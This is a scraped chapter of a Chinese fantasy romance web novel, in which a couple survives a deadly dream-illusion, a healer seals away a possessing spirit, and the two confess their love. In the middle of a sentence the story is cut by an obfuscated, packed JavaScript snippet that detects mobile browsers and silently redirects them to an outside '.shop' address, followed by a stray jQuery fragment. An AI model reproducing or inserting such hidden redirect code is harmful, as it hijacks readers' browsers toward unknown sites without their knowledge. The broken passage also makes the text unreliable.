文趣网 > 玄幻小说 > 覆潮汐 > 48. 阿满,一切都结束了
    苏笙满抓住柳晞城递来的发带,蓝色发带缠上二人的手腕,柳晞城看着苏笙满,他能看见她的眼眸里映出的不是恐惧,而是锐利的光芒在闪烁,他笑起来。

    哈,是他多虑了,看来他的公主比他想象的要勇敢多了。

    他蹲下捡了两把散落的剑,丢给苏笙满一把,大笑了几声,蓄势待发道:“此番正好弥补了你三皇子没能来救国的遗憾!”

    皇城的天空被硝烟染成灰色,无数只箭带着火星划过屋顶,下一秒二人便冲入人群,决心厮杀出一条血路来!

    柳晞城举剑斩断刺来的长矛,苏笙满转到他身后,一刀斩断朝她面门射来的箭。

    二人的武功应付这些小兵倒是游刃有余,再加上二人可以互相配合着,一开始还算轻松。但二人没有盔甲,各种小伤累积起来还是有些棘手。

    他们想办法往战争的最边缘一点点挪动,毕竟二人这次的目的不是救国,而是想办法从幻境出去。

    当二人背靠背退至山坡上时,苏笙满发现柳晞城的后背已被血浸透,自己左臂的伤口深可见骨,发簪不知何时已断成两截,在散落的发丝间,伤口正缓缓渗出鲜血,滴在残破的衣裙上。

    连接二人的发带也已被斩断,取而代之的是紧紧握住的双手。他们互相搀扶着上山,此刻他们已经来到了战场的边缘,他们找了个隐蔽的山洞,终于可以歇息一下了。

    方才打斗的时候注意力没在伤口上,完全没感觉,现在要包扎处理了才惊觉,痛感一下子涌上来。

    “阿满,若是我死在梦里,外面那个我也会死吗?”柳晞城靠着岩壁喘息着,此话吓得苏笙满抬头看他,他故作轻松的扯出一个笑容,下一秒却又咳出了血渍。

    苏笙满见他都这样了还在逞强,真想抽他,可是自己已经没力气了,她一点点往柳晞城那边挪动。

    柳晞城的后背贴着湿冷的石壁,没过多久,石壁便已经染上了大块鲜红,他用腰带草草扎紧腰间的伤口,可此刻渗出的血水已浸透了他周围的地面,与苏笙满挪动时拖出的血痕渐渐相连。

    见柳晞城这副模样,都已经到这步田地了,她无法再安慰自己他身上的都是别人的血,但看着自己左臂抽搐不止,不断透过包扎的布料涌出鲜血,她也不知自己能支撑多久。

    这里是梦境,都是假的,都是假的......

    她伸出右手抓住他的手:“再撑一撑,挺到下一段记忆......”

    他喘着粗气,将头靠在苏笙满的右肩:“还会有下一段吗?”

    “......什么?”

    “上一段我们复刻了记忆才来到这一段,若是要复刻才能到下一段,那么就得找到柳曜轩,被他带回去纳入后宫,可这是不可能的......”

    是啊,战场这么大,且不说要找到一个柳曜轩是多么的困难,况且现在二人都受了重伤,再返回简直是难如登天。

    苏笙满慌了,没想到半年前毅然决绝跳海赴死的自己如今竟然会如此怕死。她一个字也说不出,只是和柳晞城互相靠着,感受对方的喘息,忍受着剧痛,默默地听着洞顶滴水的声音,一起等待死亡。

    可她发现柳晞城的喘息越来越轻,握着的手也正在以可怕的速度失去温度,她害怕极了,不敢呼唤他,怕他不回应,又怕若是自己不叫他,他就真的醒不过来了。

    随着脉搏跳动的间隔越来越长,他的唇变成青灰色,嘴角的血渐渐凝固。

    她望着他,此刻想的却是,那日自己出殡,对他开玩笑说要给他做一副棺材,看来真的不能乱开玩笑......

    可是眼泪却混着血止不住地流。

    另一边,夏桉在二人昏迷期间疯狂调配着解药和香,等着把乌萨玛的魂魄逼出来好一网打尽,再时不时地给二人把脉看看状况如何了,由于不知梦境和现实的时间流速是否相同,自己需要时刻准备着。

    苏笙满脉搏时快时慢,相反,柳晞城的脉象逐渐平稳,她皱眉,这很难办。

    一天一夜过去了,夏桉越来越觉得不对劲,环顾四周却能看见苏笙满周围包裹着一层黑烟!!

    不,准确来说应该是只有作为雳灵族的她能看见。

    这是很重的煞气。

    她上前给二人把脉,轮到柳晞城的时候,他突然睁开眼,梦里的痛感还没来得及消散殆尽,下一秒就被夏桉赶出了屋子。

    “阿满姐周围的煞气太重,你又刚从梦境里出来,身子太虚,怕你受不住,”夏桉隔着门对懵圈的柳晞城道,“我常年接触邪术,这些煞气对我来说无足轻重,这里就交给我。”

    柳晞城回想起方才梦里的场景,在梦里死了便能醒过来,便上前喊话道:“阿满应该也快出来了,你准备好。”

    夏桉应了一声,准备好东西便守在苏笙满身旁。苏笙满看起来难受极了,皱着眉流着冷汗,夏桉刚要拿起手帕擦拭,苏笙满便忽然睁眼。

    “阿满姐!”

    不对!夏桉笑容突然凝住,瞳孔骤缩!那双含着笑意的眼眸此刻却充满寒意。

    “阿萨娜,竟真的是你,”面前的乌萨玛自嘲地笑起来,后悔自己之前没有认出自己的妹妹,她坐起身子看着连连后退撞翻药柜的阿萨娜,见她如此害怕自己,她只觉得可笑,“怎么,你还想要杀我一次吗?”

    乌萨玛话音刚落,便被夏桉泼出来的药粉呛到,而这个药粉正是抑制乌萨玛魂魄的那一剂!!

    致死量的药粉让乌萨玛难受地蜷缩在一起,头上的发簪因身体不断颤抖而掉落在手边,她颤颤巍巍地抓起它,夏桉见状忙在四周寻找着趁手的武器准备防御。

    可下一秒夏桉却对上了她的眼睛,那双眼睛清澈又温柔,却又流露出说不尽的悲伤,她见她还有话想说,还有泪要流,她却调转簪子的方向,直直插入心口!!

    一瞬间巨大的力量从她体内涌出,笼罩着整个屋子!那是乌萨玛的魂魄!她出来了!

    她赶忙拿起容器,地上的法阵激得浓烟四处逃窜,玻璃容器开始剧烈震颤起来,容器内写的符文被激起,一瞬间,红光暴涨,一股强大的气流瞬间被吸入她手中的容器里,四周渐渐恢复了平静。最后一丝烟被吸入后,夏桉迅速扭紧盖子,红色的光在玻璃罐里挣扎乱窜。

    她长舒一口气,把柳晞城喊进来后便赶忙去照看苏笙满的伤情。

    苏笙满不知睡了几天几夜了,睁眼时神志不清,此刻已是夜里,昏暗的灯光犹如身处梦里的山洞,让她恍惚间分不清梦境与现实。

    她尝试扭动脖颈,可就在柳晞城闯入她的视线的一瞬间,她坚信这是梦。

    柳晞城将脑袋卧在手臂上,趴在床边眯着觉,她看着他一呼一吸而起伏的身体,他还活着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507052|202271||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,他们都没有死......

    可这么美好的事情,是不是只有在梦里才会出现?

    梦里柳晞城冰凉的体温和苍白干枯的面容在她面前闪现着,历历在目,会不会现在依然在梦里,而死亡才是真正的现实?

    她不敢触碰面前的爱人,她怕一旦妄图靠近,梦便会如同镜子般碎了一地,叫她不知该如何拼凑起碎片。

    而柳晞城迷迷糊糊间觉得握着的手动了一动,他惊觉后坐起,才看见苏笙满已哭成泪人,脸上全是泪痕,他感觉心被猛地揪住了,上前将苏笙满搂进怀里,吻着她的眼睛,将泪水吻去:“阿满,没事了,我在呢,那是梦,梦都是反的对不对?别怕,我回来了,我在的。胸口还疼不疼?”

    “……不疼”

    柳晞城一眼便看得出她又在逞强:“都刺胸口上了还不疼?”

    苏笙满撇撇嘴:“那我疼......”

    柳晞城叹气,若换做平时,她肯定会反问自己“那你还问我做什么?”,但如今见她连打趣的心思都没了,更是心疼极了,边吻着她的额头,边道:“不疼了......不疼了啊......乖......公主,夏桉说乌萨玛的魂魄已经抽走了,所以啊,别再捅胸口了,怪疼的......一次两次,没有第三次了!”

    是啊,心口的新伤之下还叠着一层旧伤,是国灭前自己失控将要杀了章玖烈之时所刺。

    苏笙满苍白的脸上挤出一个微笑:“你怎么知道我在梦境里有没有捅胸口?”

    柳晞城的脸瞬间黑的不行。

    “我开玩笑的,”见柳晞城半天都没说话,苏笙满慌了,“柳晞城……”

    柳晞城板着脸:“这个玩笑不好笑。”

    苏笙满晃了晃他的手,哄着他:“以后不说了。”

    可就在她感受到柳晞城手上的温度时,此刻温热的脉搏与梦中渐弱的脉搏同时浮现,她又瞬间恍惚,当初柳晞城身体冰凉地躺在苏笙满身旁,手却是比冰还冷。

    “柳晞城,梦里的你好冷......”

    在她身旁逐渐凉透,她却什么都做不了。

    苏笙满鼻子一酸,她还想说更多,可话都哽咽在喉咙里,只能用眼泪来诉说。

    感受到他的臂弯渐渐收紧,她轻声唤他:“柳晞城......”

    “我在。”

    苏笙满摇摇头:“不对。”

    “我一直都在,永远在。”

    苏笙满这次没回话,只是攥紧了他的衣服,将头深埋他温暖的怀抱。

    经此一遭,苏笙满变成了药罐子,少说也得修养几个月才好,而柳晞城怕苏笙满整日待在屋子里嫌闷,便天天找她聊天,陪在身旁照料着,也常带点好吃的好玩的来解解闷。

    南逍也在抽魂后收到了消息匆匆赶来,本以为自己可以跟在主子身边,可谁承想自己的主子竟天天待在苏笙满的屋子里一待就是一天,主仆二人见面的次数都少得可怜。

    那天南逍见柳晞城买完吃食,来到苏笙满的房门前,见柳晞城又来找苏笙满了,他实在是忍不住自己的八卦之心了,他攥着衣服,扭捏地上前道:“主子,恕小的多嘴,您与阿满姐……”

    恰好柳晞城拉开了门,看了眼屋内安心休息的苏笙满,没忍住笑了起来:“啊,此事还未与你说,我与阿满……两情相悦。”